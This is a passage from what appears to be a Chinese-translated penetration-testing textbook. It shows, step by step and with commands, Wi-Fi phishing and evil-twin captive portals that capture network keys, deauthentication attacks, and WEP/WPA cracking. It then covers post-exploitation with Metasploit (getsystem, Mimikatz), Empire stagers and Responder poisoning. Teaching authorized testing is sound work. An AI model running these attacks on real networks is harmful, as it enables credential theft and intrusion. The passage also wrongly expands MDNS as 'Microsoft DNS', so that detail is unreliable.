ifconfig wlan0 down命令来完成。要将模式从托管更改为监控,使用iwconfig wlan0 mode monitor命令。最后,使用ifconfig wlan0 up命令将接口重新上线,如图 5所示:
图 5:将无线适配器设置为监控模式
现在无线适配器正在监控模式下运行(Mode:Monitor)。要将接口切换回监控模式,请按照之前的步骤 2进行操作,但使用iwconfig wlan0 mode managed。
使用airmon-ng可以更快地启用监控模式;这将在下一节中介绍。
如果您使用的是支持 1000 mW 传输功率评级的 Alfa 无线网卡,根据您的位置,您的Tx-Power可能设置为 20 dBm(如图 6所示)。要启用卡的全部功能,请按照以下步骤操作:
-
使用
ifconfig wlan0 down命令关闭接口。Wlan0是接口名称;在您的环境中可能会有所不同。 -
使用
iw reg set US命令将区域设置为美国。 -
使用
ifconfig wlan0 up命令将接口上线。 -
使用
iwconfig wlan0命令检查功率评级:
图 6:增加 Alfa TX 功率
注意功率评级现在已经增加到30 dBm(图 6)。每10 dBm增加一次功率,以 mW 为单位增加 10 倍。
无线攻击工具
Kali Linux 包括一些内置工具,可用于攻击无线网络。我们将探讨各种工具及其用法。
请注意,随着您在本章的进展,您应该在自己的无线网络上执行攻击。
Wifiphisher
Wifiphisher 是一个出色的恶意访问点工具,可用于进行渗透测试或 Wi-Fi 安全测试。该工具通过对执行对接入点进行关联的无线客户端进行中间人攻击来工作。Wifiphisher 可以通过使用第三方登录页面进行定制,或者您可以创建自己的页面。
Wifiphisher 默认安装在 Kali Linux 中。可以使用wifiphisher命令来运行它。请注意,wifiphisher需要roguehostapd,但是您可以使用 Kali 中安装的hostapd。要使用hostapd,您可以运行wifiphisher --force-hostapd命令。
让我们使用wifiphisher的内置钓鱼页面执行一个简单的钓鱼活动。记得将您的无线适配器设置为监控模式:
- 从 Kali 终端窗口运行
wifiphisher --force-hostapd命令。您将看到wifiphisher的主屏幕(图 7)。在这里,您将看到一个发现的无线网络列表。选择您想要创建一个恶意访问点的网络:
图 7:Wifiphisher 无线网络选择
- 一旦选择了网络,你将看到一系列可用的钓鱼场景。我选择了标准的“固件升级页面”,如图 8所示:
图 8:wifiphisher 的钓鱼场景
你可以构建自己的钓鱼场景,并利用互联网上提供的预构建自定义页面。这些页面需要存储在wifiphisher/data/phishingpages目录中。
一旦你选择了页面,wifiphisher将自动创建伪造的接入点,并开始去认证任何连接的客户端。
一旦用户再次尝试连接到无线网络,他们将看到您选择的钓鱼页面。在我的情况下,就像图 9中显示的固件升级页面一样:
图 9:固件升级钓鱼页面
一旦提供了预共享密钥,页面就会开始“升级固件”,但当然,实际上什么都没有发生。然而,在 Wifiphisher 终端上,我们有明文显示的捕获凭据,如图 10所示:
图 10:捕获的 PSK
在渗透测试中使用这个工具时,你需要让钓鱼页面令人信服。一些终端用户很懂技术,不会轻易上当一个简单的钓鱼页面。你还需要考虑,在企业 Wi-Fi 认证中使用他们的域凭据;在这种情况下,你需要创建一个巧妙的钓鱼页面,让它看起来像一个企业门户。
关于创建自定义钓鱼页面的更多信息可以在这里找到:wifiphisher.org/docs.html。
Aircrack-ng 套件
Aircrack-ng 是预先安装在 Kali Linux 中的一套强大的工具。该套件包括以下类别的工具:
-
监控:执行数据包捕获,并提供将数据导出到文本文件以供第三方工具使用的能力
-
攻击:用于执行重放攻击、帧攻击(如去认证)等,使用数据包注入
-
测试:查看 Wi-Fi 适配器的功能,执行捕获和数据包注入
-
破解:对 WEP、WPA 和 WPA2 预共享密钥执行攻击
让我们深入了解各种工具以及如何用于渗透测试。请记住,你的无线适配器必须处于监视模式才能使用这些工具。我们将从使用airmon-ng启用监视模式开始。
Airmon-ng
Airmon-ng 是一个脚本,用于在无线适配器上启用和禁用监视模式。运行airmon-ng而不带任何参数将显示当前的无线接口状态。
Airmon-ng 简单直接。使用以下步骤在无线适配器上启用监视模式:
-
打开一个终端窗口,使用
airmon-ng命令查看你的无线适配器的名称。这个命令将显示当前的无线适配器、它的接口名称、驱动程序和芯片组。 -
要将适配器置于监视模式,你可以使用
airmon-ng start [interface name]命令。例如,在图 11中,我的适配器的接口名称是wlan0:
图 11:使用 airmon-ng 启用监视模式
airmon-ng可以用来检查是否有任何进程会干扰aircrack-ng套件的工具。检查的命令是airmon-ng check。
在图 12中,我们看到有一些进程可能会影响aircrack-ng工具套件:
图 12:识别有问题的进程
你可以让airmon-ng使用这个命令杀死任何会干扰的进程:airmon-ng check kill。
要将无线适配器重新设置为managed模式,可以使用以下命令:airmon-ng stop [interface name]。
airmon-ng使您能够在特定信道上将适配器设置为监视模式。可以使用以下命令完成:
airmon-ng start [interface name] [channel number]
当有很多无线网络并且您想专注于目标网络所在的特定信道时,这将非常有用。
Airodump-ng
Airodump-ng 用于捕获原始 802.11 帧的数据包。该工具可用于收集 WPA 握手或弱 WEP 初始化向量,以供 Aircrack-ng 使用。它具有记录检测到的无线网络的 GPS 坐标的功能,这些坐标可以稍后导入在线 Wi-Fi 映射工具。
airodump-ng的命令语法是airodump-ng [options][interface name]。
airodump-ng有很多选项可供选择。只需输入airodump-ng命令即可显示完整列表。一些值得注意的选项如下:
-
-w:用于将输出写入文件。 -
-c:用于指定要捕获的信道。 -
-bssid:用于定义目标 BSSID。
使用airodump-ng [interface name]命令进行无线网络嗅探,不需要任何选项。显示的输出将显示范围内的当前无线网络,包括连接的站点,如图 13所示:
图 13:Airodump-ng 输出
不要被显示的信息所压倒,因为理解它很简单。Airodump-ng 有两个独立的部分。顶部显示了有关发现的网络的信息。字段描述如下:
| 字段 | 描述 |
|---|---|
BSSID | 这是接入点的 MAC 地址。 |
PWR | 这是信号级别。您离接入点越近,信号级别评分就越高。有些可能显示为-1,意味着您离得太远,或者检测信号级别时存在驱动程序问题。 |
Beacons | AP 发送的信标帧数量。 |
#Data | 捕获的数据包数量。如果使用 WEP,它将是唯一的 IV 计数。 |
#/s | 在 10 秒内捕获的数据包数量。 |
CH | 这是信道号,从信标帧中派生出来。 |
MB | AP 支持的最大速度。 |
ENC | 正在使用的加密算法。 |
Cipher | 检测到的加密算法。 |
Auth | 正在使用的认证协议。 |
ESSID | 网络的 SSID。如果 SSID 是隐藏的,那么这个值将为空;但是,airodump-ng将尝试从探测和关联响应中恢复 SSID。 |
底部部分显示了检测到的接入点和连接到接入点的客户端(站点)的 MAC 地址。
出于演示目的,我正在瞄准 Hackme 无线网络。我将告诉airodump-ng专注于该接入点和信道,并且我希望将捕获写入磁盘。可以使用以下命令完成:
airodump-ng -c 6 --bssid B8:69:F4:93:A7:55 -w hackme-cap [interface name]
在此命令中,-c 6表示信道号,--bssid表示接入点 MAC 地址,-w表示捕获的文件名,interface name是我的无线适配器,处于监视模式:
图 14:定制 airodump-ng 以针对特定网络
请注意图 14中的输出,其中捕获了 WPA 握手。我们将在本章后面的Aircrack-ng部分介绍如何破解该握手。
Aireplay-ng
Aireplay-ng 主要用于注入帧并生成流量,以备后续使用aircrack-ng。常见的攻击之一是去认证攻击;这种攻击的目的是捕获握手数据。
aireplay-ng的命令语法如下:
aireplay-ng [options][interface name]
aireplay-ng具有丰富的选项,对于各种攻击方法,攻击方法可以用名称或数字来定义。例如,去认证攻击是攻击编号 0或者可以使用--deauth。aireplay-ng支持以下攻击方法:
-
去认证:此攻击的目的是使连接到接入点的客户端取消关联。这会迫使它们重新关联,并使您能够捕获握手过程。
-
伪认证:此攻击允许您与接入点关联。当您需要利用各种攻击而没有站点与接入点关联时,这是很有用的。
-
交互式数据包重播:当您想要选择特定数据包重播到接入点时使用此攻击。
-
ARP 请求重播攻击:此攻击有效地生成新的 IV。它通过将 ARP 数据包重新发送到接入点来工作,这迫使接入点用新的 IV 重复 ARP 数据包。
-
KoreK chopchop 攻击:此攻击能够在没有密钥的情况下解密 WEP 数据包。它不会恢复 WEP 密钥,但会以明文形式显示出来。
-
分段攻击:此攻击用于获取伪随机生成算法(PRGA)。这个 PRGA 可以与
packetforge-ng一起用于生成各种其他注入攻击的数据包。 -
Cafe-latte 攻击:此攻击使您能够从客户端站点而不是接入点获取 WEP 密钥。它操纵 ARP 数据包发送到客户端,客户端再将其发送回来,然后被捕获和分析。
-
面向客户端的分段攻击:这扩展了 cafe-latte 攻击,使用任何数据包而不仅仅是 ARP 数据包。
-
WPA 迁移模式:此攻击特定于 Cisco 接入点中发现的漏洞,使 WPA 和 WEP 客户端能够使用相同的 SSID 关联到接入点。
-
注入测试:此测试确定您的无线适配器是否能成功向接入点注入数据包。
每种攻击都可以用一个数字来定义。例如,去认证攻击可以定义为-0。您将在本章后面注意到,我们将使用数字来表示各种攻击。
让我们使用aireplay-ng来执行去认证攻击,如图 15所示,使用以下命令:
aireplay-ng -0 10 -a [BSSID] -c [Client MAC] [interface name]
在这个命令中,-0 10用于指定去认证攻击,只会发送10个数据包,-a用于定义接入点的 MAC 地址,-c用于定义客户端的 MAC 地址,interface name是无线适配器,处于监视模式。有时,可能需要更多的数据包才能使站点取消认证。您可以使用-0 0选项来发送无限数量的数据包:
图 15:去认证攻击
ACKs代表以下内容:
[Client ACKs received | Access point ACKs received]
这为您提供了一个很好的指示,表明数据包是否已被接收。数值越高越好。
Airgeddon
摆脱了aircrack-ng套件中的多个工具,现在让我们专注于一个具有多种功能并且易于使用的工具。
Airgeddon(由v1s1t0r1sh3r3开发)是一个用bash编写的工具,用于对无线网络进行多种攻击。Airgeddon 的一些特点如下:
-
能够管理接口模式(监视和管理)
-
支持 2.4 GHz 和 5 GHz 频段
-
辅助 WPA/WPA2 握手捕获,清理和优化文件
-
WPA/WPA2 企业和个人的离线密码破解
-
恶意双胞胎攻击
-
WPS 攻击
Airgeddon 在 Kali Linux 中不是默认安装的。要安装它,请执行以下步骤:
- 安装 Airgeddon 可以通过克隆存储库来完成。在 Kali Linux 中使用以下命令来克隆 Airgeddon:
git clone https://github.com/v1s1t0r1sh3r3/airgeddon
- 一旦你克隆了 Airgeddon,就使用以下命令来运行它:
sudo bash airgeddon.sh
当 Airgeddon 启动时,它将执行一系列检查,以确保您拥有所有所需的工具。如果检测到缺少工具,它将突出显示这些工具,并包括软件包名称,如图 16所示:
图 16:Airgeddon 可选工具检查
- 在图 16中,有一些工具缺失。请注意软件包名称。要安装缺失的工具,我们可以简单地使用此命令:
apt get install bettercap mdk4 hostapd-wpe
- 完成初始检查后,Airgeddon 将提示选择要使用的网络卡,如图 17所示:
图 17:接口选择
- 选择您的接口后,您将看到 Airgeddon 的主菜单,如图 18所示:
图 18:Airgeddon 的主菜单
主菜单提供了许多选项。在第一部分中,我们可以将所选的接口设置为监视模式或托管模式。接下来的部分定义了 Airgeddon 能够执行的各种攻击。最后一部分是选项和积分。
邪恶孪生攻击
现在,我们将使用 Airgeddon 执行邪恶孪生攻击。邪恶孪生攻击是一种恶意接入点,旨在获取敏感信息、获取凭据或投放恶意有效负载。在我们的示例中,我们将创建一个邪恶孪生,旨在通过俘获门户窃取无线网络的预共享密钥:
您只应对您被授权的网络执行此攻击。出于学习目的,您应该对自己的无线网络执行此攻击。
- 使用以下命令启动 Airgeddon:
sudo bash airgeddon.sh
- 选择您的无线适配器,并使用 Airgeddon 的主菜单将其设置为监视模式。接下来,选择选项
7,邪恶孪生攻击菜单(图 19)。菜单加载后,选择选项9:
图 19:邪恶孪生攻击菜单
- Airgeddon 将执行的第一步是探索无线网络。它将自动设置 WPA/WPA2 的过滤器,并在新窗口中开始扫描,如图 20所示:
图 20:Airgeddon 探索目标
- 请将此窗口保持打开一段时间,以便您可以获得无线网络的准确读数。一旦您关闭窗口,Airgeddon 将提示您选择要攻击的网络(图 21)。请注意,
*表示这是一个活动网络:
图 21:Airgeddon 网络选择
- 选择要攻击的网络后,您将看到 deauth 攻击菜单,如图 22所示:
图 22:Deauth 攻击菜单
这里有一些选项可供选择;您需要找到与您攻击的网络最匹配的选项。通常,mdk4攻击非常有效。
-
选择 deauth 模式后,Airgeddon 将提示您进行一些额外的设置,例如 DOS 追求模式和在接口上启用互联网访问。为简单起见,我们将选择
NO。下一批选项与欺骗您的 mac 地址有关,并定义捕获文件(如果您已经有)。如果选择捕获文件的NO,则可以定义等待 WPA 提议的秒数。根据网络的活动程度,您需要增加此值。如果不这样做,并使用默认值,您可能无法获得 WPA 握手。 -
完成选项后,将打开两个新窗口。一旦捕获到 WPA 握手,Airgeddon 将通知您继续下一步,即定义俘获门户的语言。一旦定义了语言,Airgeddon 将启动多个窗口(图 23)执行邪恶孪生攻击:
图 23:Airgeddon 邪恶孪生攻击
生成的窗口与 DNS(用于拦截 DNS 请求)、DHCP(用于为站点提供有效的网络地址,以便与虚假接入点通信)、虚假接入点(虚假接入点配置)、Web 服务器(用于托管俘获门户)和最后,信息窗口有关。所有这些都是为了托管虚假的俘获门户而需要的。
现在,当站点连接到接入点时,它将被呈现一个俘获门户。一旦输入预共享密钥,它将以明文形式呈现(图 24)。可以根据需要调整俘获门户:
图 24:捕获的预共享密钥
Airgeddon 非常简单易用。它具有丰富的攻击功能。随着您的进展,您可能会发现更多的工具,但是了解如何使用aircrack-ng中的工具仍然是有益的,因为您可能已经注意到 Airgeddon 中的一些攻击仍然利用了aircrack-ng套件的部分。
破解 WEP、WPA 和 WPA2
Aircrack-ng 是一个程序,可以破解 WEP、WPA 和 WPA2 预共享密钥。它支持一些用于破解密码的方法,这些方法如下:
-
Pyshkin,Tews,Weinmann(PTW),它使用 ARP 数据包来破解 WEP 密钥。
-
FMS/KoreK 使用统计攻击和暴力破解技术来破解 WEP 密钥。
-
字典方法利用字典文件,可用于暴力破解 WEP、WPA/WPA2 密钥。请注意,对于 WPA/WPA2 破解,这是唯一使用的方法。
aircrack-ng的命令语法如下:
aircrack-ng [options] <capture file(s)>
aircrack-ng有许多可用选项。可以通过运行aircrack-ng命令而不定义其他任何内容来查看这些选项。
破解 WPA/WPA2
让我们看一个使用aircrack-ng破解 WPA2 的例子。重要的是要注意,破解 WPA2 的唯一可能方法是使用带有暴力破解技术的字典文件。对于所有暴力破解尝试,成功取决于您的字典文件的质量。请记住,更大的字典文件将需要更多的时间和处理能力。
在图 25中,您会注意到捕获了一个 WPA 握手:
图 25:WPA 握手捕获
使用以下命令破解这个握手:
aircrack-ng -w [wordlist] [capture file]
-w开关表示将使用的字典文件的位置。您可以按名称定义捕获文件,或者如果有多个捕获文件,可以使用*.cap。使用该命令,观察结果如图 26所示:
图 26:使用 aircrack-ng 破解 WPA 密钥
破解 WPA2 握手的过程与 WPA 的过程完全相同。
WPA/WPA2 除了预共享密钥之外,还支持许多认证方法。Aircrack-ng 只能破解使用预共享密钥的 WPA 网络。如果airodump-ng显示网络使用 PSK 以外的东西,请不要尝试破解,因为这会浪费您的时间。
破解 WEP
破解 WEP 密钥有多种方法。在前一节中,我们讨论了攻击,如伪身份验证、caffe-latte 攻击、PTW 攻击等。
现在,我们将执行一些攻击来破解 WEP 密钥。此攻击至少需要一个连接到接入点的站点。
在我的设置中,我已将我的主机机器用作连接的客户端。如果您用于测试此攻击的路由器支持 WEP,请在执行以下步骤之前在路由器上设置 WEP:
- 确保您的无线适配器处于监视模式。使用
airodump-ng,我们将指定使用 WEP 的无线网络并开始捕获数据包。在我的设置中,无线网络名为Hackme。使用airodump-ng部分中定义的命令,我正在调整airodump以使用以下命令专门捕获无线网络的数据包:
airodump-ng -c 6 --bssid B8:69:F4:93:A7:55 -w hackme-cap [interface name]
要破解 64 位 WEP 密钥需要大量的 IVs,至少需要大约 250,000 个。让捕获空闲,需要一些时间来获取足够数量的 IVs。为了加快这个过程,我们将捕获并重放数据包到接入点,以生成唯一的 IVs。在这之前,我们需要对接入点进行认证,否则我们发送的任何数据包都将被丢弃。
- 为了对接入点进行认证,我们将执行一个伪身份验证攻击(图 27)。这种攻击通过说服接入点我们知道 WEP 密钥来进行,但我们并不发送它。为了执行这个攻击,我们使用这个命令:
aireplay-ng -1 0 -e Hackme -a [MAC Address] -h [MAC Address] [interface name]
在这个命令中,我们使用-1来定义攻击;0是重传时间,-e表示 SSID,-a是我们想要认证的接入点的 MAC 地址,-h是网络卡的 MAC 地址,interface name是处于监视模式的无线interface name:
图 27:执行伪身份验证攻击
注意认证成功了;我们可以开始向接入点发送数据包。除非先发送 WEP 密钥,否则接入点不会接受流量。由于我们还没有发送密钥(因为我们还不知道),我们需要捕获已认证的客户端的数据包,并重放它们。为此,我们将使用 ARP 请求重放攻击。
- 利用
aireplay-ng,我们将告诉它捕获并重新广播它收到的任何 ARP 数据包。我们将使用以下命令:
aireplay-ng -3 -b [MAC Address] -h [Mac Address] [interface name]
在这个命令(图 28)中,我们使用-3来定义攻击;-b用于定义接入点的 MAC 地址,-h用于定义处于监视模式的无线适配器的 MAC 地址,接口名称是处于监视模式的无线适配器的接口名称:
图 28:执行 ARP 请求重放攻击
注意警告。如果您定义了错误的 MAC 地址,aireplay-ng将会警告您。
当流量从经过认证的客户端到接入点,以及捕获 ARP 请求时,您会注意到 ARP 请求计数在增加。您可能会收到一条消息,说明您收到了deauth/disassoc数据包。如果发生这种情况,请确保重新运行伪身份验证攻击(步骤 2);您可能需要多次这样做。
一旦您收到足够的 IVs,如图 29所示,在#Data列下,您就可以使用aircrack-ng来破解密钥:
图 29:通过#Data 列显示接收到大量 IVs
- 要破解 WEP 密钥,使用以下命令:
aircrack-ng -b [MAC Address] [capture]
在这个命令中,我们使用-b选项定义了接入点的 MAC 地址,然后我们定义了捕获名称,也可以定义为*.cap。
如果您捕获了足够的 IVs,密钥将会被破解,如图 30所示:
图 30:WEP 密钥破解
记住去掉冒号:,以获取实际的密钥。
破解 WPA/WPA2 和 WEP 之间的区别在于方法。WEP 使用统计方法,可以用来加快破解过程,但在 WPA/WPA2 中,唯一存在的选项是暴力破解。
总结
在这一章中,您已经了解了各种无线攻击方法。我们已经确定了无线网络的一个关键组成部分,无线帧,以及可以从其中一些帧中获取的各种信息。您已经了解了哪些网络卡能够执行数据包注入,拦截无线数据包,以及如何增加 Alfa 无线网卡的功率评级。
我们讨论了存在于无线网络中的各种加密方法,以及它们的漏洞。您已经了解了各种攻击工具,以及如何执行不同类型的攻击。最后,您已经学会了如何破解 WEP 和 WPA/WPA2 预共享密钥。
在第十章中,横向移动和提升特权,我们将探讨如何在网络中横向移动,以寻找高特权账户的目标。您还将学习如何在网络中提升特权。
问题
-
列举三种无线帧的类型。
-
从信标帧中可以获得什么类型的信息?
-
为什么 WPA2 比 WPA 更安全?
-
列举四种无线攻击类型。
-
列举三种无线攻击工具的名称。
第三部分:利用后
在这一部分,我们将探讨在利用后使用的技术。您将学习如何应用各种技术来进行横向移动、权限提升和枢纽。我们将探讨各种技术控制的方式,比如反病毒措施,如何使用工具和自定义 shell 代码来规避。您将学习如何使用持久化技术在受损网络中保持访问权限。
本节将涵盖以下章节:
-
第十章,横向移动和提升权限
-
第十一章,反病毒规避
-
第十二章,在环境中保持控制
第十章:横向移动和提升权限
现在您已经攻破了系统,您可能想知道接下来该怎么办。后渗透是下一步,我们希望在内部网络中获得进一步的访问。在本章中,我们将看看如何获得比当前更高的权限。这可能需要在网络上进一步嗅探,以及执行横向移动技术。
在本章中,您将学习不同的后渗透技术,以及为什么后渗透形成渗透测试的一个重要部分。您将学习如何建立一个 AD 实验室,用于测试您的后渗透技能。通过使用可用的工具,您将了解它们的目的以及如何在渗透测试中使用它们,以确保您可以访问被攻击的系统。
在您阅读本章的过程中,您将学习以下主题:
-
发现后渗透技术
-
准备您的环境
-
后渗透工具
-
执行后渗透攻击
技术要求
要跟随本章中的示例和说明,请确保您具备以下技术要求:
-
Kali Linux 2019.1
-
Metasploitable 3
-
Windows Server 2016(评估版)
-
Windows 10 企业版(评估版)
发现后渗透技术
在执行后渗透时,您需要了解一些技术。这些技术是您在进行渗透测试时将利用的。例如,考虑这样一个情景,您可能会攻破一个标准用户,该用户在网络上没有访问许多资源的权限。您的目标(在渗透测试的范围内)是获得域控制权并创建一个高权限用户帐户。您将如何进行?这就是了解后渗透不同技术的重要性,因为您将能够看到可以利用的差距,以使您更接近目标。
我们将在本节中涵盖一些这些技术。
横向移动
一旦您攻破了目标网络上的初始主机,您将需要开始在环境中进行横向移动。横向移动是从一个主机移动到另一个主机,寻找更高权限的帐户、枢纽点、敏感数据或者简单的侦察的过程。在这个阶段,使用内置工具以避免被检测是一种常见做法。例如,PowerShell 或 WMI 通常被列入白名单,并允许在环境中的端点上使用。
在横向移动过程中,凭证收集通常是一个主要焦点。它始于已被攻破的主机,并随着您在网络中移动而持续。收集凭证可以为您提供升级路径,如果您使用诸如键盘记录、内存转储或者捕获存储凭证的文件等技术。大多数组织低估了内置的本地管理员帐户。这个帐户可以用于在不同的端点之间跳转。
您可以通过利用未打补丁的机器在网络中移动。一些组织在为员工配置新工作站时并不使用隔离环境。当操作系统忙于更新时,您有一个小窗口,补丁缺失,这可以被利用。
权限提升
权限提升是寻找比您当前拥有的更高权限访问方式的过程。例如,如果您攻破了一个普通用户帐户,那么该帐户很可能没有访问域控制器的权限。因此,您需要寻找一个具有访问权限的帐户。域管理员组内的帐户很可能是一个明显的线索。
为了找到高特权帐户,您需要通过横向移动计算机,如前一节所讨论的那样。您将通过可能包含凭据的文件、配置错误的服务、过多的用户权限,甚至故意不安全的安全措施来工作。
枢轴
企业网络通常会有逻辑边界,您需要在渗透测试中穿越。逻辑网络边界是网络内的逻辑分隔,通常是通过将网络分割成不同子网并通过路由器、交换机甚至防火墙控制对子网的访问来实现的。例如,网络将包含受信任区段、服务器区段、非军事区段(DMZ)和外部区段。受信任区将是内部网络,是最受信任的网络,可能不会有太多限制。服务器区段将是一个包含各种服务器的子网。非军事区段包含外部面向服务器,外部区段将是一个不受信任的网络,如互联网。
枢轴是访问在正常情况下无法访问的资源的过程。如果我们考虑前一段中讨论的各个部分,您可能已经获得了对受信任部分的初始访问权限。您现在正在尝试访问服务器部分中的特定服务器,但是从一般受信任网络是不允许的——只允许从跳转主机访问,该跳转主机将同时访问服务器和受信任部分。获得对该跳转主机的访问权限将为您提供到服务器部分的枢轴点。
准备您的环境
为了演示本章中的各种后渗透攻击,我建立了一个基本的Active Directory(AD)实验室。您可以使用以下图表构建与我相同的实验室:
图 1:实验室图表
Windows 10 企业评估可以从以下网址下载:www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise。
Windows Server 2016 评估可以从以下网址下载:www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2016。
服务器操作系统上创建域的设置步骤如下:
-
安装完成后,使用本地管理员帐户登录您的服务器。
-
在以太网适配器上配置静态 IP 地址。如果您正在构建虚拟机,请确保将网络适配器设置为虚拟化软件上的私有网络。
-
单击开始并搜索
PowerShell。然后,右键单击 PowerShell 并选择以管理员身份运行。 -
一旦 PowerShell 打开,输入
Install-WindowsFeatures -Name AD-Domain-Services -IncludeManagementTools命令。安装功能后,您将收到以下消息:
图 2:安装 AD 域服务
- 接下来,我们需要设置 AD 林配置。输入
Install-ADDSForest -DomainName "pentest.lab" -InstallDNS命令。您将被提示输入恢复密码;这可以是您想要的任何内容。使用A来回答所有问题都是肯定的:
图 3:安装 AD 林
-
在此期间,安装将安装多个组件。一段时间后,服务器将重新启动。重新启动后,您将能够使用您在首次安装服务器时定义的管理员用户名和密码登录。
-
您可以通过在管理 PowerShell 窗口中发出
Get-ADDomain命令来确认域是否已成功设置:
图 4:验证 Active Directory 信息
如果您更喜欢使用图形界面,可以在以下链接找到一个很棒的博客,告诉您如何操作:blogs.technet.microsoft.com/canitpro/2017/02/22/step-by-step-setting-up-active-directory-in-windows-server-2016/。
还有一些额外的任务需要完成,您可以使用此处定义的 PowerShell 命令来完成。确保您使用域管理员帐户登录到域控制器,然后使用 PowerShell 执行这些额外的步骤:
- 我们要做的第一件事是在 AD 中创建一个新的组织单位。您可以随意命名。在我的环境中,我称之为
IT:
New-ADOrganizationalUnit -Name "IT"
- 下一步是创建用户帐户。您可以重复此步骤,通过更改粗体标记的名称来创建
helpdeskagent和serveradmin帐户:
New-ADUser -Name "DomainAdmin" -GivenName "Domain" -Surname "Admin" -SamAccountName "DomainAdmin" -UserPrincipalName "DomainAdmin@pentest.lab" -Path "OU=IT,DC=pentest,DC=lab" -AccountPassword(Read-Host -AsSecureString "User Password") -Enabled $true
- 接下来,我们将创建一个安全组。
helpdeskagent将被添加到这个组中:
New-ADGroup "Helpdesk Staff" -Path "OU=IT,DC=pentest,dc=lab" -GroupCategory Security -GroupScope Global -PassThru –Verbose
- 最后,我们将把各种用户添加到各自的安全组中:
Add-AdGroupMember -Identity "Domain Admins" -Members DomainAdmin
Add-AdGroupMember -Identity "Helpdesk Staff" -Members HelpdeskAgent
一旦域控制器建立完成,您可以将您的 Metasploitable 3 和 Windows 10 企业虚拟机加入到域中。确保您按照前面的图表设置静态 IP 和 DNS。
为了模拟我们将在后面介绍的攻击,我已经配置了以下内容:
-
Windows 10 企业虚拟机:在这里,登录的用户将是
domainadmin。我已经将Helpdesk Staff组配置为 PC 上的本地管理员。 -
Metasploitable 3:在这里,我已经使用
serveradmin和helpdeskagent帐户登录。
后渗透工具
后渗透是渗透测试的重要部分。有许多工具可以用于后渗透。了解何时以及如何使用这些工具将有助于您进行成功的后渗透活动。
我们将在本节中讨论其中一些工具。
Metasploit 框架
Metasploit 框架确实具有许多功能,我们在整本书中都广泛使用了它。我们主要关注了框架的利用功能。现在,我们将看看后渗透功能。Metasploit 提供了许多可以针对各种系统使用的模块。
为了在您的实验室中执行这些攻击,我使用了 Metasploitable 3(Windows)虚拟机作为目标。我使用的漏洞是windows/smb/ms17_010_eternalblue,我们在第五章中介绍过,深入 Metasploit 框架。
让我们看看可用的后渗透功能以及它们可以用于什么。
Metasploit 后模块
在 Metasploit 框架中,有许多跨不同操作系统的后模块。您可以通过键入use post,然后按两次Tab键来查看。Metasploit 将提示您显示所有可能性。在撰写本文时,有 328 个可以使用的post模块:
图 5:查看 Metasploit 中的后模块
让我们看看您可以使用的一些模块。例如,post/windows/gather/enum_ad_users和post/windows/gather/enum_ad_groups模块将为您提供有关 AD 域中存在的用户和组的一些见解:
图 6:枚举 AD 组
在您已经攻击的目标系统上,您需要确定当前安装了什么。这将有助于确定诸如主机入侵检测或防病毒应用程序之类的安全控制。通过使用post/windows/gather/enum_applications,您将能够看到已安装应用程序的列表:
图 7:列出当前安装的应用程序
让我们看看 Meterpreter 中存在的选项。回想一下第五章,深入了解 Metasploit 框架,使用 Meterpreter shell 提供了更多的功能。
一旦您入侵了一个系统,您可能希望将您的 Meterpreter 会话迁移到另一个进程,以避免被检测或获得持久性。可以通过使用来自 Meterpreter 会话的run post/windows/manage/migrate命令来进行进程迁移:
图 8:Meterpreter 进程迁移
Meterpreter 使得可以使用额外的扩展类别,如powershell和Mimikatz。这些可以通过从 Meterpreter shell 中使用load命令加载:
图 9:加载 meterpreter 模块
使用getsystem命令可以实现使用 Meterpreter 进行本地系统的特权升级。
这个命令告诉 Meterpreter 使用任何可用的技术来获取本地系统权限。这些技术包括命名管道模拟和令牌提升:
图 10:使用 Meterpreter 提升到系统权限
在本章的即将到来的部分(执行后渗透攻击)中,我们将看看如何使用 Meterpreter 的一些功能来执行后渗透活动。
Empire
Empire 是另一个可以用于后渗透的强大工具。它灵活且利用了安全通信。它为您提供了在不需要powershell.exe的情况下运行 PowerShell 代理的能力。后渗透模块范围从键盘记录器到凭证提取工具(如 Mimikatz)。
Empire 可以通过克隆存储库来安装。您可以使用以下命令来执行此操作:
git clone https://github.com/EmpireProject/Empire.git
一旦存储库被克隆,您可以在其目录中使用./install.sh命令安装 Empire。安装完成后,您可以使用./empire命令运行 Empire。
当 Empire 加载时,您将看到主屏幕,显示加载的模块、监听器和活动代理:
图 11:Empire 主屏幕
在您拥有活动代理之前,我们需要创建一个监听器。这可以通过使用listeners命令来完成,然后使用uselistener [type]命令定义我们想要创建的监听器类型。有各种类型,如http、meterpreter和redirector。
使用uselistener http命令设置一个简单的http监听器。一旦选择了listeners,您可以使用info命令检查可用的选项:
图 12:查看监听器选项
注意Required字段。默认情况下,您只需要为监听器提供一个名称。这可以使用set Name [name]命令完成。在我的例子中,我给我的监听器起了一个名字,即Metasploitable3。一旦定义了一个名称,输入execute命令启动监听器。
Empire 命令区分大小写。使用set name命令将不起作用-您必须使用set Name。
现在您已经设置了监听器,您需要将一个分段器链接到监听器。这可以通过使用back命令返回到监听器配置来完成。要定义一个分段器,您将使用usestager [stager]命令。您可以通过按两次Tab按钮查看完整的分段器列表。
我们将使用usestager windows/launcher_bat命令创建一个简单的 Windows 启动器分段器。这将创建一个可以在目标机器上运行的批处理文件,并将其存储在临时位置:
图 13:使用 Empire 创建一个分段器
一旦分段器被创建,你所需要做的就是在目标系统上运行文件。运行分段器后,它将连接到帝国并成为一个代理:
图 14:帝国中的活动代理
要与代理进行交互,我们使用interact [agent name]命令。
使用sysinfo命令,我们可以确认我们具有管理完整性。这由High Integrity变量中的值1来定义:
图 15:获取远程系统信息
一旦你获得了对代理的访问权限,你可以随心所欲地进行后期利用活动。
Responder
Responder 是一个可以快速获取凭据的工具。它内置于 Kali Linux 中,利用了 LLMNR、NBT-NS 和 MDNS 毒物质,这些都可以简单地用于攻击易受攻击的网络。Responder 之所以成功,纯粹是因为网络组件,如 ARP(地址解析协议)、DHCP(动态主机配置协议)和 DNS(域名系统)没有得到安全配置。
链路本地组播名称解析(LLMNR)和NetBios 名称服务(NBT-NS)是在 Windows 操作系统中用于通信和名称解析的组件;它们在 DNS 失败时尝试解析名称。MDNS 代表 Microsoft DNS。
Responder 的基本语法是responder -I [interface]。
Responder 有许多可用的毒物服务器。这些可以通过存在于/usr/share/responder/Responder.conf的配置文件进行配置:
图 16:Responder 毒物服务器
要了解 Responder 的工作原理,让我们考虑以下情景。
用户被引导到一个不存在的共享,要么是通过社会工程学,打开一个强制计算机尝试访问不存在的共享的恶意文档,要么是在尝试访问合法共享时打错了字。
